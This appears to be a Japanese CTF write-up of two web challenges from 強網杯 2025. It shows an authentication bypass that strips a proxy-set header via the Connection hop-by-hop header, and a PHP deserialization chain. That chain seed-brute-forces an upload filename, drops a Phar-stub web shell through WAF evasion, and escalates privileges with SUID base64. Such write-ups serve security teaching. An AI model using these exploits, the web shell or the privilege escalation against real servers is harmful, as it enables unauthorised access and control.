強網杯 2025 Web 課題解説:HTTP ヘッダー衝突と PHP 逆シリアライゼーション

概要

本稿では、強網杯 2025 に出題された Web 部門の 2 問について技術的な解説を行う。1 問目は Go 言語製のミドルウェアと Flask アプリケーション間で発生する HTTP ヘッダー処理の不備を突く問題、2 問目は PHP の逆シリアライゼーションとファイルアップロード機能を悪用した RCE 問題である。

1. Secret Vault

本課題は、Python (Flask) 製のメインアプリケーションと、Go 言語製の認証サーバーで構成されている。認証サーバーは 4444 ポートで動作し、gorilla/mux を使用した署名ロジックを含んでいる。また、5555 ポートで動作するミドルウェアが、メインサーバー(5000 ポート)へのリクエストを仲介する。

認証フローと脆弱性

ミドルウェアはメインサーバーから JWT 鍵を取得し、UID の検証および抽出を行う。その際、特定のヘッダーを削除し、X-User ヘッダーに UID を設定する処理が含まれている。

func main() {
    proxy := &httputil.ReverseProxy{Director: func(req *http.Request) {
        req.URL.Scheme = "http"
        req.URL.Host = "127.0.0.1:5000"

        userId := extractUserId(req)
        log.Printf("User ID: %s, Target: %s", userId, req.URL.String())
        
        // 既存の認証ヘッダーをクリア
        req.Header.Del("Authorization")
        req.Header.Del("X-User")
        req.Header.Del("X-Forwarded-For")
        req.Header.Del("Cookie")

        if userId == "" {
            req.Header.Set("X-User", "anonymous")
        } else {
            req.Header.Set("X-User", userId)
        }
    }}
}

メインサーバー側の認証デコレータは、X-User ヘッダーが存在しない場合、デフォルト値として '0' を採用する仕様になっている。

def validate_session(view_func):
    @wraps(view_func)
    def wrapper(*args, **kwargs):
        user_id = request.headers.get('X-User', '0')
        print(user_id)
        if user_id == 'anonymous':
            flash('Authentication required.', 'warning')
            return redirect(url_for('login_page'))
        try:
            user_id_int = int(user_id)
        except (TypeError, ValueError):
            flash('Invalid session.', 'warning')
            return redirect(url_for('login_page'))
        user = Database.find_user(id=user_id_int)
        if not user:
            flash('User not found.', 'warning')
            return redirect(url_for('login_page'))

        g.current_user = user
        return view_func(*args, **kwargs)
    return wrapper

システム上、UID が '0' のユーザーは管理者(admin)として定義されている。

user = User(
    id=0,
    username='admin',
    password_hash=password_hash,
    salt=base64.b64encode(salt).decode('utf-8'),
)

したがって、ミドルウェア経由でメインサーバーに到達する際、X-User ヘッダーを欠落させることができれば、管理者権限を取得できる。

エクスプロイト

HTTP/1.1 の仕様において、Connection ヘッダーに特定のヘッダー名を列挙すると、ホップバイホップでそのヘッダーが削除される性質を利用する。Connection: close,X-User を送信することで、ミドルウェアとメインサーバー間の通信においてX-User が除去される。

結果として、Flask アプリケーション側ではX-User が存在せず、デフォルト値 '0' が適用され管理者として認証される。

GET /dashboard HTTP/1.1
Host: target.example.com:33002
Cache-Control: max-age=0
Accept-Language: ja-JP,ja;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://target.example.com:33002/login
Accept-Encoding: gzip, deflate, br
Cookie: session=...; token=...
Connection: close,X-User

このリクエストを送信することで、フラグが格納されたダッシュボードへのアクセスに成功する。

flag{698d8138-f41d-4f03-9301-3b37f0b2dd7b}

2. EZ PHP

本課題は、難読化された PHP コードが含まれており、base64 デコードすると以下のロジックが確認できる。

function createRandomStr($len = 8) {
    $chars = 'abcdefghijklmnopqrstuvwxyz';
    $str = '';
    for ($i = 0; $i < $len; $i++) {
        $r = rand(0, strlen($chars) - 1);
        $str .= $chars[$r];
    }
    return $str;
}

date_default_timezone_set('Asia/Shanghai');

class Challenge {
    public $flagOp;
    public $executor;
    public $mode;

    public function __construct() {
        $this->flagOp = new class {
            public function __construct() {
                if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
                    $time = date('Hi');
                    $fname = $GLOBALS['filename'];
                    $seedVal = $time . intval($fname);
                    mt_srand($seedVal);
                    $dir = 'uploads/';
                    $files = glob($dir . '*');
                    foreach ($files as $f) {
                        if (is_file($f)) unlink($f);
                    }
                    $randStr = createRandomStr(8);
                    $newName = $time . '.' . $randStr . '.' . 'jpg';
                    $GLOBALS['file'] = $newName;
                    $tmp = $_FILES['file']['tmp_name'];
                    $path = $dir . $newName;
                    if (system("cp " . $tmp . " " . $path)) {
                        echo "upload ok";
                    } else {
                        echo "error";
                    }
                }
            }
            public function __wakeup() { phpinfo(); }
            public function readFlag() {
                function readFlag() {
                    if (isset($GLOBALS['file'])) {
                        $f = $GLOBALS['file'];
                        $f = basename($f);
                        if (preg_match('/:\/\//', $f)) die("error");
                        $content = file_get_contents("uploads/" . $f);
                        if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $content)) {
                            die("Illegal content");
                        }
                        include("uploads/" . $f);
                    }
                }
            }
        };
    }

    public function __destruct() {
        $func = $this->executor;
        $GLOBALS['filename'] = $this->flagOp;
        if ($this->mode == 'class') {
            new $func();
        } else if ($this->mode == 'func') {
            $func();
        } else {
            highlight_file('index.php');
        }
    }
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"Challenge":N';
@unserialize($ser);

攻撃チェーンの構築

目的は、アップロードしたファイルを実行させることである。そのためには、匿名クラス内のreadFlagメソッドを呼び出し、ファイル包含を起こす必要がある。

PHP の逆シリアライゼーションにおいて、匿名クラスのクラス名は以下の形式になる。

class@anonymous/path/to/file.php(line) : eval()'d code:line$id

今回はeval内で定義されているため、行番号などを予測し、配列コールバックを用いてメソッドを呼び出す。

<?php
class Challenge {
    public $flagOp;
    public $executor;
    public $mode;
}

$obj1 = new Challenge();
$obj1->flagOp = "placeholder";
$obj1->executor = 'Challenge';
$obj1->mode = 'class';

$obj2 = new Challenge();
$obj2->flagOp = "placeholder";
$obj2->executor = ["class@anonymous\0/var/www/html/index.php(1) : eval()'d code:1$1", 'readFlag'];
$obj2->mode = 'func';

echo serialize($obj1);
echo serialize($obj2);
?>

これにより、__destruct で匿名クラスのコンストラクタが実行され、ファイルアップロードが行われる。その後、別のインスタンスでreadFlagが呼ばれるように仕込む。

ファイル名予測と Phar

アップロードされるファイル名は、時刻とファイル名の整数値を seed とした乱数で生成される。この seed を総当たりすることで、ファイル名接頭辞をpharに一致させる。

<?php
date_default_timezone_set('Asia/Shanghai');
function createRandomStr($len = 8) {
    $chars = 'abcdefghijklmnopqrstuvwxyz';
    $str = '';
    for ($i = 0; $i < $len; $i++) {
        $r = rand(0, strlen($chars) - 1);
        $str .= $chars[$r];
    }
    return $str;
}

$now = date('Hi');
$found = false;
for ($i = 0; $i < 10000000; $i++) {
    $seedVal = $now . $i;
    mt_srand((int)$seedVal);
    srand((int)$seedVal);
    $randStr = createRandomStr(8);
    if (substr($randStr, 0, 4) === 'phar') {
        echo "Seed: " . $seedVal . "\n";
        echo "String: " . $randStr . "\n";
        $found = true;
        break;
    }
}
?>

適切な seed が発見できれば、アップロードされるファイル名を制御できる。次に、Phar ファイルを作成し、stub 部分でシェルを書き込む。

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
    system('echo "<?php system(\$_GET[1]); ?>" > shell.php');
    __HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

作成した Phar ファイルは WAF を回避するため gzip 圧縮し、拡張子を偽装してアップロードする。ファイル名予測が成功すれば、サーバー上に任意の PHP ファイルが生成される。

権限昇格とフラグ取得

生成されたシェルからアクセスすると、通常のユーザー権限ではフラグが読めない。SUID 権限を持つバイナリを検索する。

find / -user root -perm -4000 -print 2>/dev/null

結果、base64 コマンドに SUID 権限が付与されていることが確認できる。GTFOBins の手法を参考にし、base64 を経由してファイルを読み出す。

base64 "/flag" | base64 --decode

これにより、ルート権限でフラグファイルの内容を取得できる。

flag{145f3a7d-5596-4fb3-8092-90c15ebd3171}

タグ: ctf-writeup http-header-injection php-deserialization phar-exploitation suid-privilege-escalation

5月23日 12:43 投稿